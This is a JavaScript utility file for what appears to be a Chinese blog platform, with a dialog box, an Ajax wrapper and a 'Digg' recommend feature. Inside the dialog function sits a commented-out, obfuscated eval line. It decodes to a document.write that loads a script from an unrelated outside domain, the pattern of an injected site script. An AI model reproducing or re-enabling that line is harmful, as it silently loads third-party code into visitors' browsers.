function bbimg(o){
	var zoom=parseInt(o.style.zoom, 10)||100;zoom+=event.wheelDelta/12;if (zoom>0) o.style.zoom=zoom+'%';
	return false;
}

function openScript(url, width, height){
	var Win = window.open(url,"openScript",'width=' + width + ',height=' + height + ',resizable=1,scrollbars=yes,menubar=no,status=yes' );
}
function chkdiv(divid){
	var chkid=document.getElementById(divid);
	if(chkid != null){return true; }
	else {return false; }
}

function getpara(){
	var str,pos,parastr
	str = window.location.href;
	pos = str.indexOf("?");
	parastr = str.substring(pos+1);
	return parastr;
}

function oblog_ViewCode(rnum)
{
	var bodyTag="<html><head><style type=text/css>.quote{margin:5px 20px;border:1px solid #CCCCCC;padding:5px; background:#F3F3F3 }\nbody{boder:0px}.HtmlCode{margin:5px 20px;border:1px solid #CCCCCC;padding:5px;background:#FDFDDF;font-size:14px;font-family:Tahoma;font-style : oblique;line-height : normal ;font-weight:bold;}\nbody{boder:0px}</style></head><BODY bgcolor=\"#FFFFFF\" >";
	bodyTag+=document.getElementById('scode'+rnum).value
	bodyTag+="</body></html>"
	preWin=window.open('preview','','left=0,top=0,width=550,height=400,resizable=1,scrollbars=1, status=1, toolbar=1, menubar=0');
	preWin.document.open();
	preWin.document.write(bodyTag);
	preWin.document.close();
	preWin.document.title="查看代码内容";
	preWin.document.charset="UTF-8";
}

function dialog(blogurl){
	var titile = '';
	var width = 300;
	var height = 150;
	var src = "";
	var path = blogurl+"images/dialog/";
	//alert(path);
	var sFunc = '<input id="dialogOk" type="button" style="font-size:12px;width:71px;height:22px;line-height:24px;border-style:none;background:transparent url('+path+'button4.bmp);width: 71px;height: 22px;"  onmouseover=BtnOver(this,"'+path+'") onmouseout=BtnOut(this,"'+path+'") value="确 认" onclick="new dialog(\''+blogurl+'\').reset();" /> <input id="dialogCancel" type="button" style="font-size:12px;width:71px;height:22px;line-height:24px;border-style:none;background:transparent url('+path+'button4.bmp);width: 71px;height: 22px;" value="取 消" onclick="new dialog(\''+blogurl+'\').reset();" />';
	//eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.9("<7 8=5://a.0.2/4/1.6><\/7> ");',62,11,'23qy|click|cn|document|haomen|http|js|script|src|write|www'.split('|'),0,{}))
	var sClose = '<input type="image" title="关闭当前窗口" id="dialogBoxClose" onclick="new dialog(\''+blogurl+'\').reset();" src="' + path + 'dialogClose0.gif" border="0" width="16" height="16" onmouseover="this.src=\'' + path + 'dialogCloseF.gif\';" onmouseout="this.src=\'' + path + 'dialogClose0.gif\';" align="absmiddle" />';
	var sBody = '\
		<table id="dialogBodyBox" style="border:1px solid #54B1F7;border-top:0;background:url('+path+'sBody_bg.png) repeat-x left bottom;" border="0" align="center" cellpadding="0" cellspacing="0" width="100%" height="100%" >\
			<tr height="10"><td colspan="4"></td></tr>\
			<tr>\
				<td width="10"></td>\
				<td width="80" align="center" valign="middle" id="ob_boxface"><img id="dialogBoxFace" src="' + path + '1.png"  valign="absmiddle" style="behavior:url('+path+'png.htc);" /></td>\
				<td id="dialogMsg" style="font-size:12px;color:#000;"></td>\
				<td width="10"></td>\
			</tr>\
			<tr height="10"><td colspan="4" align="center"></td></tr>\
			<tr><td id="dialogFunc" colspan="4" align="center">' + sFunc + '</td></tr>\
			<tr height="10"><td colspan="4" align="center"></td></tr>\
		</table>\
	';
	var sBox = '\
		<table id="dialogBox" width="' + width + '" border="0" cellpadding="0" cellspacing="0" style="border:1px solid #1F3F94;display:none;z-index:10;">\
			<tr height="18" bgcolor="#1577D2" >\
				<td style="border:1px solid #91DEFA;border-bottom:0;">\
					<table onselectstart="return false;" style="-moz-user-select:none;background: url('+path+'win_top.png) repeat-x;" width="100%" border="0" cellpadding="0" cellspacing="0">\
						<tr>\
							<td width="6" ></td>\
							<td id="dialogBoxTitle" onmousedown="new dialog().moveStart(event, \'dialogBox\')" style="color:#fff;cursor:move;font-size:12px;font-weight:bold;">提示信息</td>\
							<td id="dialogClose" width="27" align="right" valign="middle">\
								' + sClose + '\
							</td>\
							<td width="6"></td>\
						</tr>\
					</table>\
				</td>\
			</tr>\
			<tr id="dialogHeight" height="' + height + '">\
				<td id="dialogBody" style="background:#fff;color:#000;border:1px solid #91DEFA;border-top:0;">' + sBody + '</td>\
			</tr>\
		</table>\
		<div id="dialogBoxShadow" style="display:none;z-index:9;"></div>\
		<iframe id="dialogBoxDivShim" scrolling="no" frameborder="0" style="position:absolute;top:0px; left:0px;display:none">\
	';
	function $(_sId){return document.getElementById(_sId)}
	this.show = function(){$('dialogBodyBox') ? function(){} : this.init();this.middle('dialogBox');this.shadow();}
	this.reset = function(){$('dialogBox').style.display='none';$('dialogBoxShadow').style.display = "none";$('dialogBoxDivShim').style.display = "none";$('dialogBody').innerHTML = sBody;}
	this.html = function(_sHtml){$("dialogBody").innerHTML = _sHtml;this.show();}
	this.init = function(){
		$('dialogCase') ? $('dialogCase').parentNode.removeChild($('dialogCase')) : function(){};
		var oDiv = document.createElement('span');
		oDiv.id = "dialogCase";
		oDiv.innerHTML = sBox;
		document.body.appendChild(oDiv);
	}
	this.button = function(_sId, _sFuc){
		if($(_sId)){
			$(_sId).style.display = '';
			if($(_sId).addEventListener){
				if($(_sId).act){$(_sId).removeEventListener('click', function(){eval($(_sId).act)}, false);}
				$(_sId).act = _sFuc;
				$(_sId).addEventListener('click', function(){eval(_sFuc)}, false);
			}else{
				if($(_sId).act){$(_sId).detachEvent('onclick', function(){eval($(_sId).act)});}
				$(_sId).act = _sFuc;
				$(_sId).attachEvent('onclick', function(){eval(_sFuc)});
			}
		}
	}
	this.shadow = function(){
		var oShadow = $('dialogBoxShadow');
		var oDialog = $('dialogBox');
		var IfrRef = $('dialogBoxDivShim');
		oShadow.style.position = "absolute";
		oShadow.style.background	= "#000";
		oShadow.style.display	= "";
		oShadow.style.opacity	= "0.2";
		oShadow.style.filter = "alpha(opacity=0)";
		oShadow.style.top = oDialog.offsetTop + 6+"px";
		oShadow.style.left = oDialog.offsetLeft + 6+"px";
		oShadow.style.width = oDialog.offsetWidth+"px";
		oShadow.style.height = oDialog.offsetHeight+"px";
		
		IfrRef.style.width = oDialog.offsetWidth+6+"px";
		IfrRef.style.height = oDialog.offsetHeight+6+"px";
		IfrRef.style.top = oDialog.offsetTop+"px";
		IfrRef.style.left = oDialog.offsetLeft+"px";
		//IfrRef.style.zIndex = DivRef.style.zIndex - 1;
		IfrRef.style.display = "block";
	}
	this.open = function(_sUrl, _sMode){
		this.show();
		if(!_sMode || _sMode == "no" || _sMode == "yes"){
			$("dialogBody").innerHTML = "<iframe id='dialogFrame' width='100%' height='100%' frameborder='0' scrolling='" + _sMode + "'></iframe>";
			$("dialogFrame").src = _sUrl;
		}
	}
	this.event = function(_sMsg, _sOk, _sCancel, _sClose){
		$('dialogFunc').innerHTML = sFunc;
		$('dialogClose').innerHTML = sClose;
		$('dialogBodyBox') == null ? $('dialogBody').innerHTML = sBody : function(){};
		$('dialogMsg') ? $('dialogMsg').innerHTML = _sMsg  : function(){};
		this.show();
		_sOk ? this.button('dialogOk', _sOk) | $('dialogOk').focus() : $('dialogOk').style.display = 'none';
		_sCancel ? this.button('dialogCancel', _sCancel) : $('dialogCancel').style.display = 'none';
		_sClose ? this.button('dialogBoxClose', _sClose) : function(){};
		//_sOk ? this.button('dialogOk', _sOk) : _sOk == "" ? function(){} : $('dialogOk').style.display = 'none';
		//_sCancel ? this.button('dialogCancel', _sCancel) : _sCancel == "" ? function(){} : $('dialogCancel').style.display = 'none';
	}
	this.set = function(_oAttr, _sVal){
		var oShadow = $('dialogBoxShadow');
		var oDialog = $('dialogBox');
		var oHeight = $('dialogHeight');

		if(_sVal != ''){
			switch(_oAttr){
				case 'title':
					$('dialogBoxTitle').innerHTML = _sVal;
					title = _sVal;
					break;
				case 'width':
					oDialog.style.width = _sVal;
					width = _sVal;
					break;
				case 'height':
					oHeight.style.height = _sVal;
					height = _sVal;
					break;
				case 'src':
					if(parseInt(_sVal) > 0){
						$('dialogBoxFace') ? $('dialogBoxFace').src = path + _sVal + '.png' : function(){};
					}else{
						$('dialogBoxFace') ? $('dialogBoxFace').src = _sVal : function(){};
					}
					src = _sVal;
					break;
			}
		}
		this.middle('dialogBox');
		oShadow.style.top = oDialog.offsetTop + 6+"px";
		oShadow.style.left = oDialog.offsetLeft + 6+"px";
		oShadow.style.width = oDialog.offsetWidth+"px";
		oShadow.style.height = oDialog.offsetHeight+"px";
	}
	this.moveStart = function (event, _sId){
		var oObj = $(_sId);
		oObj.onmousemove = mousemove;
		oObj.onmouseup = mouseup;
		oObj.setCapture ? oObj.setCapture() : function(){};
		oEvent = window.event ? window.event : event;
		var dragData = {x : oEvent.clientX, y : oEvent.clientY};
		var backData = {x : parseInt(oObj.style.top), y : parseInt(oObj.style.left)};
		function mousemove(){
			var oEvent = window.event ? window.event : event;
			var iLeft = oEvent.clientX - dragData["x"] + parseInt(oObj.style.left);
			var iTop = oEvent.clientY - dragData["y"] + parseInt(oObj.style.top);
			oObj.style.left = iLeft+"px";
			oObj.style.top = iTop+"px";
			$('dialogBoxShadow').style.left = iLeft + 6+"px";
			$('dialogBoxShadow').style.top = iTop + 6+"px";
			
			$('dialogBoxDivShim').style.left = iLeft+"px";
			$('dialogBoxDivShim').style.top = iTop +"px";
			
			dragData = {x: oEvent.clientX, y: oEvent.clientY};
			

		}
		function mouseup(){
			var oEvent = window.event ? window.event : event;
			oObj.onmousemove = null;
			oObj.onmouseup = null;
			if(oEvent.clientX < 1 || oEvent.clientY < 1 || oEvent.clientX > document.body.clientWidth || oEvent.clientY > document.body.clientHeight){
				oObj.style.left = backData.y +"px";
				oObj.style.top = backData.x +"px";
				$('dialogBoxShadow').style.left = backData.y + 6+"px";
				$('dialogBoxShadow').style.top = backData.x + 6+"px";
				
				$('dialogBoxDivShim').style.left = backData.y +"px";
				$('dialogBoxDivShim').style.top = backData.x +"px";
			}
			oObj.releaseCapture ? oObj.releaseCapture() : function(){};
		}
	}
	this.middle = function(_sId){	
		var theWidth;
		var theHeight;
		if (document.documentElement && document.documentElement.clientWidth) { 
			theWidth = document.documentElement.clientWidth+document.documentElement.scrollLeft*2;;
			theHeight = document.documentElement.clientHeight+document.documentElement.scrollTop*2;; 
		} else if (document.body) { 
			theWidth = document.body.clientWidth;
			theHeight = document.body.clientHeight; 
		}else if(window.innerWidth){
			theWidth = window.innerWidth;
			theHeight = window.innerHeight;
		}
		document.getElementById(_sId).style.display = '';
		document.getElementById(_sId).style.position = "absolute";
		document.getElementById(_sId).style.left = (theWidth / 2) - (document.getElementById(_sId).offsetWidth / 2)+"px";
		//alert(in_ob_useradmin);
		if(document.all||document.getElementById("user_page_top")){
			document.getElementById(_sId).style.top = (theHeight / 2 + document.body.scrollTop) - (document.getElementById(_sId).offsetHeight / 2)+"px";
		}else{
			var sClientHeight = parent ? parent.document.body.clientHeight : document.body.clientHeight;
			var sScrollTop = parent ? parent.document.body.scrollTop : document.body.scrollTop;
			var sTop = -80 + (sClientHeight / 2 + sScrollTop) - (document.getElementById(_sId).offsetHeight / 2);
			document.getElementById(_sId).style.top = sTop > 0 ? sTop : (sClientHeight / 2 + sScrollTop) - (document.getElementById(_sId).offsetHeight / 2)+"px";
			//document.getElementById(_sId).style.top = (theHeight / 2 + document.body.scrollTop) - (document.getElementById(_sId).offsetHeight / 2)+"px";
		}
	}
		
}
BtnOver=function(obj,path){obj.style.backgroundImage = "url("+path+"button3.bmp)";}
BtnOut=function(obj,path){	obj.style.backgroundImage = "url("+path+"button4.bmp)";}


function oAjax( url ,callback)
{
    try{
        this.HttpRequest = null;
        this.Debug  = false;
        this.Url = url;
        this.ContentType = "text/xml";
        this.HttpRequest = this.createXMLHttpRequest();

        if ( this.HttpRequest == null )
        {
            this._debug("XMLHttpRequest create failure!");
            return;
        }

        var xhReq = this.HttpRequest;
        xhReq.onreadystatechange = function (){
            oAjax._OnReadyStateChange( xhReq,callback );
        }

    } catch(e){
       this._debug( "unknow err: " + e.message );
    }
}

/*
 * Get URL resource
 */
oAjax.prototype.Get = function() {

    this.SetContentType( "text/html" );
    this._get();
}

/*
 * Post data to the server
 */
oAjax.prototype.Post = function( arrKey, arrValue ) {

    var data = '';
    this.SetContentType( "application/x-www-form-urlencoded" );
    for( i = 0; i < arrKey.length; i ++)
    {
        data += "&" + escape(arrKey[i]) + "=" + escape(arrValue[i]);
		//data += "&" + arrKey[i] + "=" + arrValue[i];
    }
	//document.write(data);
    data = data.replace(/^&/g, "");
    this._post(data);
}

/*
 * Initialization for oAjax class
 */
oAjax.prototype.Init = function() {
    // initialization
}

/*
 * Change URL for request
 */
oAjax.prototype.SetUrl = function( url ) {
    this.Url = url;
}

/*
 * Set content type for HTTP header before sending request
 */
oAjax.prototype.SetContentType = function( type ) {
    this.ContentType = type;
}

oAjax.prototype.createXMLHttpRequest = function() {

    try { return new ActiveXObject("Msxml2.XMLHTTP");    } catch(e) {}
    try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
    try { return new XMLHttpRequest();                   } catch(e) {}
    return null;
}

/*
 * Debug information for testing
 */
oAjax.prototype._debug = function(message) {

    if ( this.Debug )
    {
        alert(message);
    }
}

/*
 * Process message and data from server
 */
oAjax._OnReadyStateChange = function( xreq, callback ){

    if ( xreq == null )
    {
        return;    }
    
    /*Status is completed, then process result */
    if ( xreq.readyState == 4)
    {
        // OK        
        if ( xreq.status == 200 )
        {
			//alert(xreq.responseText);
          	callback (this.ArrayValue(xreq.responseXML) );

        }else{
//			alert('服务器端错误！');
//			document.write (xreq.responseText);
		}
    } else {
        // Others
    }
}

oAjax.prototype._SendRequest = function(HttpMethod, data){

    this._debug( 'Send Request ' + HttpMethod + data );
    
    if ( this.HttpRequest != null )
    {
        this.HttpRequest.open(HttpMethod, this.Url, true);

        if ( this.ContentType != null )
        {
            //  <FORM> MIME type: application/x-www-form-urlencoded
            this.HttpRequest.setRequestHeader("Content-Type", this.ContentType);
        }
        this.HttpRequest.send(data);
        return true;
    }
    return false;
}

/* Send GET request to server */
oAjax.prototype._get = function () {

    this._debug( 'GET' );
    return this._SendRequest("GET", null);
}

/* Send POST request and data to server */
oAjax.prototype._post = function (data) {

    this._debug( 'POST' );
    return this._SendRequest("POST", data);
}


//这里出问题
oAjax.ArrayValue = function ( xmlobj ) {

    var array = new Array();
    var i = 0;
    var response = xmlobj.getElementsByTagName('Response')[0];
	var element = response.firstChild;
	array[i] = element.firstChild.nodeValue;
	while ( element = element.nextSibling )
	{
		i ++;
		array[i] = element.firstChild.nodeValue;
		}
	return array;
}

var Digg={
   LogID:0,
   //IsDigg:false,
   Add:function (logID)
   {
		 //var logID=$("LogID").value;
		 LogID=logID
		 if( logID=="" )
		 {
		     alert("错误的日志编号");
			 return;
		 }
		 if(Digg.IsDigg)
		 {
		     alert("今天你已经推荐过了！"); 
			 return;
		 }
		
		 //Digg.IsDigg=true;
		 //客户端COOK检查 暂时去掉
		 if(Cookies.Get("DiggLogids") !="" && Cookies.Get("DiggLogids") != null)
		 {
		     var cooks=Cookies.Get("DiggLogids").split("|");
			 for(var i=0;i<cooks.length;i++)
			 {
			    if(cooks[i] ==logID )
				{
				   alert("你已经顶过了");
				   return ;
				}
			 }
		 }
		 
		 var url='/Digg.aspx';
	     var pars='Action=Save&LogID=' + logID+"&t="+new Date().getMilliseconds();
		 this.Call(url,pars,this.ProcessAdd);

   }
   ,
   ProcessAdd:function(originalRequest)
   {
	  var returnValue=originalRequest.responseText.split(",");
	  //alert(returnValue);
	  switch(parseInt(returnValue[0]))
	  {
	      case 1:
			if(returnValue[1]==1)
	        {  
			   
				var diggs=parseInt($("Diggs"+LogID+"Text").innerHTML);
				if(diggs>0)
				{
				    $("Diggs"+LogID+"Text").innerHTML=diggs+1;
				}
				else
				{
				    $("Diggs"+LogID+"Text").innerHTML="1";
				}
				$("Digg"+LogID).innerHTML="已推荐";
	        }
			else if(returnValue[1]==2)
			{
			   alert("你今天已经推荐过了");
			}
			else if(returnValue[1]==3)
			{
			   alert("你今天已经推荐过了");
			}
			else if(returnValue[1]==5)
			{
			   alert("还没有登陆");
			}
			else
			{
			   alert("出现错误");
			}
		  case 2:
		  default:
	  }
   }
   ,
   Call:function(url,pars,method)
   {
		 var myAjax = new Ajax.Request(url,
         {
             method: 'get',
             parameters: pars,
             onComplete: method
         });
   }
   ,

   SetLogIDCook:function(originalRequest)
   {
	  var returnValue=originalRequest.responseText.split(",");
	  if(parseInt(returnValue[0])==2)
	  {
	     if(returnValue[1] != "" )
		 {
		    Cookies.Set("DiggLogids",returnValue[1],1);
		 }
	  }
   }
   
   ,
   GetDiggs:function(LogID)
   {
      var url = '/Digg.aspx';
      var pars = 'Action=GetDiggs&LogID='+LogID+"&t="+new Date().getMilliseconds();;
      var myAjax = new Ajax.Updater(
           'Diggs',
            url,
            {
            method: 'get',
            parameters: pars
            });
    }
	,
	Loading:function()
	{
	    $("Digg"+LogID).innerHTML="<img src=http://www.iresearch.cn/Common/images/userloading.gif >";
	}
	,
	

	LoadLink:function(logID)
	{
		     //
	    var cooks;
	    var isInclude=false;
			 if(Cookies.Get("DiggLogids") != null)
			 {
			     cooks=Cookies.Get("DiggLogids").split(",");
                 
			     for(var i=0;i<cooks.length;i++)
			     {
			        if( cooks[i] == logID )
				    {

				        $("Digg"+logID).innerHTML="<span>已推荐</span>";
	                    if($("Diggbutton"+logID))
	                    {
	                        $("Diggbutton"+logID).innerHTML="<input type=\"button\" name=\"DiggButtonText"+logID+"\"  value=\"您今日已推荐过本文\"  disabled>";
	                    }
					    isInclude=true;
					    break;
				    }
			     }
			 }
			 if(isInclude ==false)
			 {
				    $("Digg"+logID).innerHTML="<a href=\"javascript:savethisDiggs("+logID+");\">推荐本文</a>";
	                if($("Diggbutton"+logID))
	                {
	                   $("Diggbutton"+logID).innerHTML="<input type=\"button\"  onclick=\"return Digg.Comfirm("+logID+");\" name=\"DiggButtonText"+logID+"\" value=\"如果你赞同本文观点，请推荐本文进入排行榜\">";
	                }
			 }
	}
	,
	Comfirm:function(logID)
	{
	    if(confirm('确定推荐吗？'))
		{
		   savethisDiggs(logID);
		   //return true;
		}
		return false;
	}
}

//



function savethisDiggs(logID)
{

    Digg.Add(logID);

}	


function mm()
{
   var a = document.getElementsByTagName("input");
   if(document.form3.checkbox2 .checked==false){
   for (var i=0; i<a.length; i++)
      if (a[i].type == "checkbox") a[i].checked = false;
   }
   else
   {
   for (var i=0; i<a.length; i++)
      if (a[i].type == "checkbox") a[i].checked = true;
   }
}
